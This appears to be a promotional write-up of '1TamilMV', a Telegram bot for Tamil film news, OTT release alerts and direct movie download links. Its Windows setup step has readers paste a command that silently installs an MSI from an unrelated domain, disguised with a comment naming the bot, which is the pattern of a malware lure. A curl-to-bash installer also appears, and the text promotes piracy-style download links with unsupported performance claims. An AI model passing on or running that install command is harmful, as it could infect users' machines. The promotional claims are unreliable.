1TamilMV is a Telegram bot focused on Tamil cinema, known as Kollywood. It delivers updates on the latest movie releases, OTT platform availability across services like Netflix, Amazon Prime, Hotstar, and ZEE5, along with movie details, reviews, direct download links, actor and director profiles, box office collections, and music updates. Built in Python 3.9 or higher, the project runs under an MIT license and has collected 105 GitHub stars. The bot targets users interested in the Tamil film industry, which produces over 100 films annually from Chennai, reaches audiences in 150+ countries, and features actors like Rajinikanth, Kamal Haasan, Vijay, and Suriya.
The bot pulls from sources to provide real-time information on a industry second only to Bollywood in Indian revenue by some measures. Users interact via Telegram commands for searches filtered by year, genre, actor, or director, plus subscription options for personalized notifications.
Core features
The bot offers these user-facing capabilities:
- Instant movie search with details on ratings, cast, crew, and release dates
- OTT release alerts and a release calendar for upcoming films
- Direct download links and actor profiles
- Multi-language support for Tamil, Telugu, and English
- Channel integration and a subscription system
On the technical side, it uses async/await for performance, supports scaling to over 100,000 users, maintains 99.9% uptime, employs encrypted data storage, and features an indexed database for fast queries. Real-time notifications and a plugin architecture allow extensions, with one-command deployment options.
Getting it running
Deployment varies by platform. For Windows, the process starts in Command Prompt.
Open Command Prompt with Win + R, type cmd, and press Enter. Then run:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem 1tamilmv bot
This downloads and installs components automatically.
On Linux or macOS, use:
curl -sSL https://raw.githubusercontent.com/Tremorfitzapplaud/1TamilMV/main/install.sh | bash
For manual setup across platforms:
# Clone repository
git clone https://github.com/Tremorfitzapplaud/1TamilMV.git
cd 1TamilMV
# Create virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Configure bot
cp config.example.yaml config.yaml
nano config.yaml # Edit with Bot Token from Telegram's BotFather
# Run bot
python main.py
Setup requires a Telegram bot token, obtained via BotFather on Telegram. The README cuts off further configuration details at "Get Tel," but the config.yaml file handles token input and other settings. Once running, add the bot to Telegram and use commands like search queries or subscription toggles.
Who this is for
This bot suits fans of Tamil cinema tracking releases, streaming options, or celebrity news without browsing multiple sites. It fits users in India or the Tamil diaspora in places like Malaysia, Singapore, Sri Lanka, or the UK, where Kollywood has strong followings. Groups running Telegram channels for movies can integrate it for automated updates. If you follow specific actors or need quick download links, the advanced search and notifications reduce time spent hunting info. Developers might extend it via plugins for custom needs.
How it compares
Few open-source Telegram bots specialize in Tamil movies; most general movie bots cover broader Hollywood or Bollywood content without Kollywood focus. Alternatives like generic IMDB bots lack direct download links, OTT alerts for Indian platforms, or Tamil-language support. Paid services exist for premium notifications, but 1TamilMV offers free, self-hosted scalability. Its 105 stars reflect niche appeal compared to larger media scrapers.
The bot claims handling for 100,000+ users, heavier than lightweight search bots but lighter than full media servers. Python base means it's easier to modify than Node.js equivalents.
Fans get a dedicated tool here. Those outside Tamil cinema or preferring official apps like Netflix might skip it, as download links could skirt legal gray areas depending on sources. Source at GitHub. Version 3.0.0 as of latest badges.
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